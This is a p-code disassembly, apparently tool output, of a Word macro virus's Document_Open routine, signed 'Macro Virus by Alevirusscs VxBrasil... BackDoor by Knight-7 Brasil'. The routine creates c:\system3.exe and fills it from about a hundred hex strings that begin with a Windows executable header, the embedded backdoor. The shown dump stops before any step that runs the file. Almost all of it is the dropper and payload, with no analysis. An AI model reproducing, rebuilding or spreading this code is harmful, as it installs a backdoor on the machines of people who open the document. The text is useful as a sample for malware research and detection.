' Macros/VBA/ThisDocument - 40943 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	QuoteRem 0x0000 0x004A "Macro Virus by Alevirusscs VxBrasil 11/12/2001 BackDoor by Knight-7 Brasil"
' Line #2:
' 	OnError linux 
' Line #3:
' 	LitStr 0x000E "c:\system3.exe"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Input)
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' 	BoS 0x0000 
' 	GoTo final 
' 	BoS 0x0000 
' Line #4:
' 	Label linux 
' Line #5:
' 	SetStmt 
' 	LitStr 0x001A "Scripting.FileSystemObject"
' 	ArgsLd CreateObject 0x0001 
' 	Set Drasrv 
' 	BoS 0x0000 
' 	SetStmt 
' 	LitStr 0x000E "c:\system3.exe"
' 	Paren 
' 	LitVarSpecial (True)
' 	Ld Drasrv 
' 	ArgsMemLd CreateTextFile 0x0002 
' 	Set Alevirus 
' Line #6:
' 	LitStr 0x0052 "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #7:
' 	LitStr 0x0052 "00000000000000000000000000000000000000B00000000E1FBA0E00B409CD21B8014CCD2154686973"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #8:
' 	LitStr 0x0052 "2070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #9:
' 	LitStr 0x0052 "000000000055D9F9DB11B8978811B8978811B8978811B897885EB89788ED98858813B8978852696368"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #10:
' 	LitStr 0x0052 "11B897880000000000000000504500004C01020000000A3C9090909000000000E0000F010B01050C00"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #11:
' 	LitStr 0x0052 "1400000028000000000000264300000010000000300000000040000010000000020000040000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #12:
' 	LitStr 0x0052 "0000040000000000000000C0000000040000D4F7000002000000000010000010000000001000001000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #13:
' 	LitStr 0x0052 "00000000001000000000000000000000003A4400008500000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #14:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #15:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #16:
' 	LitStr 0x0052 "000000000000000000000000000070637331000000000030000000100000000E000000040000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #17:
' 	LitStr 0x0052 "000000000000000000200000E070637332000000008D73000000400000000800000012000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #18:
' 	LitStr 0x0052 "0000000000000000200000E00000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #19:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #20:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #21:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #22:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #23:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #24:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #25:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #26:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #27:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #28:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #29:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #30:
' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000068"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #31:
' 	LitStr 0x0052 "1CB15C40186A05E8147012C80A2D800BC0740CA3B6A817E811C32168FE507A1850190A0B4151F75254"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #32:
' 	LitStr 0x0052 "250C066A0144FF7FD030F3111E8BF04618BF354E3A8A06313C22328807F847EB03F46A6468D14D7A75"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #33:
' 	LitStr 0x0052 "4411468A910F12C622E34F1442037AF51148521708946A11D45114E8713E7B8475A089E0420F931644"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #34:
' 	LitStr 0x0052 "C56A7C08569811525411BA0C28220F509943AC84D5E40F88914530671EAF140A283B4D44726638B964"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #35:
' 	LitStr 0x0052 "28BF45F2491847C6070C0BC92975F5C944227849A10FD64BC93F3AD3BA3880670F039A0B3715EA1C42"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #36:
' 	LitStr 0x0052 "B2100083F8FF741A41A3587E831B4850376F8143A71D9C14FF503517E86AD44C0BC475548B11F701A1"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #37:
' 	LitStr 0x0052 "83F9C075F408803D43520001741FB86D14CC87441B6A6420A2508CC357C56DC6055821505C5F8C2207"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #38:
' 	LitStr 0x0052 "1E7D558D102FD5210C681E413FE9644BE9855FE898AC0F426A2B281E905B950A226336A32C33C82121"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #39:
' 	LitStr 0x0052 "4C0728BEDCDA2210030CB8831A631C534C6E84C10F1EBB34A30D82944C27011E10247212C2752782F1"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #40:
' 	LitStr 0x0052 "F04F257432FCF4840B695D544C6F19307515CA8D73EB9495306E02FA83AB378072C9A3A0366879A078"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #41:
' 	LitStr 0x0052 "9910A1604B830D66C705F8312F0212A3FAB2111CFC2A0128CC5168194C6C02938E85846A0532121A30"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #42:
' 	LitStr 0x0052 "0F84746ED9026EF41D2124322265343D43110F85D21229683623BB08AD714EAE0F4C3C3289A3442A84"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #43:
' 	LitStr 0x0052 "B9C380BF4974B9E549C10A9A71B9E6AD5837FB40FE68267F409E50F90EA6E230742C631168D04250C8"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #44:
' 	LitStr 0x0052 "8251CA1538A4E96C57EF590F985457512C2156449E496AB66AA920360A227EA1AFC80E8D682CAB6AB2"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #45:
' 	LitStr 0x0052 "42FB0E394912A080193C4D754F37689B13556408214486B829171F4D8E97B1C00D01E9B048E720494E"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #46:
' 	LitStr 0x0052 "D132F91FB8CAEDCDB9A4C108050903EBDD3C4837C093F386591042DC205A42EB204A221B014046BE44"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #47:
' 	LitStr 0x0052 "0B473E744D3142181C0913451110A9042058227E0240440744034B81F643185250990853811D0855D4"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #48:
' 	LitStr 0x0052 "9920205762CA11E914462698612468F26F70130E8E205BFD3AE9F2D4220E2168B6C2F10D3939148AD6"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #49:
' 	LitStr 0x0052 "692894186BA2170D540B23AC84682CC8FBF9620CE794FB018D0583297D92462AE81EE314E98AFD1721"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #50:
' 	LitStr 0x0052 "99E4072273290EA70108BFC6411C208C28566812B024CBA7C3328F613A22101E683C4254C4480D7190"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #51:
' 	LitStr 0x0052 "FC01E9279499E88E805D81EDFB15C33EBEDF532A499EC30CFC8DBD5B6D5770B8A9A7AB9E0F08213B50"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #52:
' 	LitStr 0x0052 "0E3328C0508C6781930B9B040889458B8D012C3BC8747FE8F7FC315156766358164EC4631C0443ACAA"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #53:
' 	LitStr 0x0052 "0AE175FA24FE52AB35D84EBE05DF6198A9778DB56B6B590CCC17BE500D159486226E5AEB081584437F"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #54:
' 	LitStr 0x0052 "116F5B2259226802ACEE20D00B3D5E81D2980B59E2839D73084E0B46300D910C901DE13C0C1DC5FB11"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #55:
' 	LitStr 0x0052 "1BFC049C437B530B64C86C94C31BC860BE14B9349A9320E8803E3B01740346E2F8C606C3B4A1E44286"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #56:
' 	LitStr 0x0052 "5666FFC8EF7992C3DC2EF4460AC41B0B6C0CAC9CA1B202337965B9402319874B6F2B26109B4EB1C60A"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #57:
' 	LitStr 0x0052 "0B3D4FD54560FBE24250C45B0B71A3FA01E93A51E668E835E4206E0A946150080B99A562FD0A27E058"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #58:
' 	LitStr 0x0052 "D0E925CA73BF7124D90A803FEB8847EB1407ADA85615E8DE09A9D92010578782E80991BAD2A78D821C"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #59:
' 	LitStr 0x0052 "5B6A931722CED2A6782BBA0A9B91080A5068F4B529208DE80435856C58742477F53A38C9C618530938"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #60:
' 	LitStr 0x0052 "10D0F914EBA534C4A0098B08314717E94FA4AB7C251845780982E6D370B030B9FF03F2AE8378E904F7"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #61:
' 	LitStr 0x0052 "D9498BC1D522DAD4112D0ACC75B7E9510C433CD5749371264B62170A590861F8207C625D040D686650"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #62:
' 	LitStr 0x0052 "2CEB47092833426ACA0B229073E2C914421122A8A85EE8AF50081801527553218DC49828E0EB127714"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #63:
' 	LitStr 0x0052 "439A887651BE4222553008E873DB99109E015FD227B9E322D6362D8F08344E7F928D94770F21601C06"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #64:
' 	LitStr 0x0052 "1A0294D3533414C1F3E828A5E512AE8582600D2B1220580BFB4D0886C8A770D508996E679AB8598F51"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #65:
' 	LitStr 0x0052 "0BB65C119407473577B179ED16195C4385303E1E90719E5A4C589EED12589097B80BCC41BE5FEB6ACF"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #66:
' 	LitStr 0x0052 "902C1DBC6BED2786166D4351A32BCC74C52868273352314900B791E3B48B710C03ADFF308F05A64F31"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #67:
' 	LitStr 0x0052 "0E08A2F095582A06253C7592AA274B2C680F6A45F02820108BAA0B911C1F08FF8708F4079CEF213224"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #68:
' 	LitStr 0x0052 "2CD326A91D90D788D2690A4A3908304159BB08B6886889FF726D85FF06DB7C28F00F57C31E21E115AE"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #69:
' 	LitStr 0x0052 "0FC8D242D3491442C32B791E90B488DC59A5087F85909688C859871544A39D084836711808138A9910"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #70:
' 	LitStr 0x0052 "D8A44F92CBABDE26D8025F21E94962E30685181834B285A229BCE9AEAE150A8F178BAC04075035E8B0"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #71:
' 	LitStr 0x0052 "21827CB3841B1B4FC36592524E88EFB1290BC46A0F88F00595BE1ECFE1F6DD98520FD211CA5C1EC384"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #72:
' 	LitStr 0x0052 "4289C8B442B7531442A521C3649678878442B3C878F169094E962B5A1E444B227F16423C3DEA42882D"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #73:
' 	LitStr 0x0052 "441D2C1E896A5D02307006A50F2A21901E421A7660080DC3558BEC0183C4F88D45FC50BB08F4CE453F"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #74:
' 	LitStr 0x0052 "0A1F2D61FF750C668F348DA3E0551DCC22140608951389EB100D06F8E8863342086621C9C210C1BE72"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #75:
' 	LitStr 0x0052 "6B09BFCA5C529B210AC06CAABAC427E874E0AAE92E16F53F00606A1468155DC8253EBD352915220F65"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #76:
' 	LitStr 0x0052 "2A7BBC4A72FAC09019E003B6A74B8682B92935A337278488F3B1301467EB0A6829555D60A9E589051F"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #77:
' 	LitStr 0x0052 "C421D68ECCDD7A37A33B3FA33D473F0D01314C35E4032313CAFD9C4532422C0175D99C15420B183D01"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #78:
' 	LitStr 0x0052 "6F11745215093C4BA9931C18D787EBABA3CA84355905B3E5126161AA3BFA26F119C8163744144661C3"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #79:
' 	LitStr 0x0052 "41452F2572233F240C4CA92B91840F60837DFC070F8CD908018B5D10813B69177F3085CA1F33D28A3A"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #80:
' 	LitStr 0x0052 "5305BAC0A643D80652E86B577E3967516D7445A31707C187555E010D0A911057312D025B8DF79E1532"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #81:
' 	LitStr 0x0052 "68F47951F8AC933D02742EC78086175D45DE68D05FC283C00CA4C24B561A2D8D94B020D002375A58DD"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #82:
' 	LitStr 0x0052 "3C878330FA011874443C1D4172273C847723A259A8DE533549A56A1C36E49A496185070C2C1E5A8710"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #83:
' 	LitStr 0x0052 "7CA08BC8B85F0125EF03712080F99B74BBB85339C99B26A0742DC129E210222ACE4256704501419271"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #84:
' 	LitStr 0x0052 "0223A9057E27C6800A175DC20E02EB14C4E80C888BD048C33D7396D0448038A6470216EEF1CB9D1098"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #85:
' 	LitStr 0x0052 "201464A10D0B8985BF2C780CBB898DF01621A10CC30D411864A341240F01F9C7861B8BB5C90D0F83C6"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #86:
' 	LitStr 0x0052 "18892CCF1366038B5E06C1E310050E1E899DD34D323A7DFFEE2A41E8D946DCCC8BAB27B5581D221EC1"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #87:
' 	LitStr 0x0052 "6CEB2F668BD5D659C483FD83A90E2222D7760360DB0DFFE0E9E3A8A7FAB1F6FE00C9780A8AC1E67032"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #88:
' 	LitStr 0x0052 "74C00271EBF2BF4C38C09A66BD3AF80C1DBAFE0DE8A077F4BF58E04A9045258505E0D5240FB0B5C727"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #89:
' 	LitStr 0x0052 "B855170E01B9AA2ABF0AB2721FC6606551E21BFE32E44A80495291D9143F0FC059B53CAAE8541D20C3"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #90:
' 	LitStr 0x0052 "24B4E0888530430C10E8444A3301DBB7805383EC2C69613DC0BD08B75102B50181EF404181108BF481"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #91:
' 	LitStr 0x0052 "ECAC8647CD20043B0066837E06177405FE02464DEBEE015E43BD3C10808EE588085F37B29A0701C397"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #92:
' 	LitStr 0x0052 "87D5EF8509EC0C44300AEEC3FF15257430E376546C06688643642160903CC818641C322019240C2886"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #93:
' 	LitStr 0x0052 "432C7B86433421389070DEA19044C848644C325019540C5886435C21949098C8B464A032A419A80CAC"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #94:
' 	LitStr 0x0052 "8643B0219C90B8C8BC6490311031080C8654F012ECA906E80C04A918E00CDC8643E42AF40643F82A08"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #95:
' 	LitStr 0x0052 "24E15206FCA71288686A06900CC808641032042BA25B5756E32AB5C75955C9D03606463C652D16BAB5"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #96:
' 	LitStr 0x0052 "948919EB0B012B8D0C899A06481B542F1FF15D048233C25E5FC394C706CC80E75246C8A406C432D419"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #97:
' 	LitStr 0x0052 "800C7C8A9501DF8EE43110B24E54BA26B131085C324A147B40359089A80F223E44DC5487915A228852"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #98:
' 	LitStr 0x0052 "CC50CDBA29C225902C28024036C489A04B14222044D448879156227CA501C666B164A8098648749198"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #99:
' 	LitStr 0x0052 "50013A6C3389095A896A127E249048A891B622C4442CE289EA12F42E15F4321E092A24364842991C31"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #100:
' 	LitStr 0x0052 "0CAE096F3208F226D01957E49C2A3C98742A8C534A78331C115C32716E09E4249248A491B622C444D6"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #101:
' 	LitStr 0x0052 "8289F412089934EE13DE2909C810940E54CC390680DD4F1909090312022401480B910D221744130489"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #102:
' 	LitStr 0x0052 "1012732474543C381900436C6F736548613C6E6476E026DF1C4370794669241641C6331872B96174EA"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #103:
' 	LitStr 0x0052 "910E3D1C4D667508781E9034A6103254680F644BD88344FE50AC2E70753C4578FD0F50726F63AC73DC"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #104:
' 	LitStr 0x0052 "B6E047D934B26DC71DCB4C6931410501BD25FF747334457248A0AB11A1104DE86475576C8A66C52929"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #105:
' 	LitStr 0x0052 "AB43E3648F6A473878A11257BF829F6F77DD44F32863EE786479556814C41D62613DF6CE0E631EA90E"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #106:
' 	LitStr 0x0052 "9A46428ED10FFDCA52A0A99630184B0253D4800B1A506F8A8CABF173DB241CFB7083ADC6AFA3B370A4"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #107:
' 	LitStr 0x0052 "67B91472BAC7CE0ABF0C4A843E94766107196F662D53EB181E6E67EDD302FB47C0C66334C819D6C26D"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #108:
' 	LitStr 0x0052 "7024DC67B47948E26C6A6EC1194B45524ECC4C3328322EDFE3921C141440A379484E4C0E74486F2D6B"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #109:
' 	LitStr 0x0052 "F692249403426973700A9E63684DEEBC24670444D28D485DF3924BDB224A418AF8913BD2154C044814"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #110:
' 	LitStr 0x0052 "8F4BC1794E616D218CB29D6A28464CAC43485B34E5271F02BB01981D426F92C97ED97E50FE6BA57212"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #111:
' 	LitStr 0x0052 "2E15245002626F6172648AECF8B2285D12BA85B3AE03528102556E68531917DC0A5553E529E24757C1"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #112:
' 	LitStr 0x0052 "4F434B4C0D6EE1F46865D2102462D6407CFC48900A910B4F5249A2679B8570EF55490E335B6A1F6A14"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #113:
' 	LitStr 0x0052 "4E124D5D89560633757D505C124F48705653227A84AAA3AA1F1138737C44EC5052498A9F34AC89EFD3"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #114:
' 	LitStr 0x0052 "9F59B4ECF55D16464B6A537110C9550CB6915731494E044554554780756D6369DACC786502B33D4D8D"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #115:
' 	LitStr 0x0052 "4E1C15095280CD456E756DDA083B434D283A2612927BA1117921D9439A50FF890DA333BA3029539CEA"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #116:
' 	LitStr 0x0052 "01D7DCC000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #117:
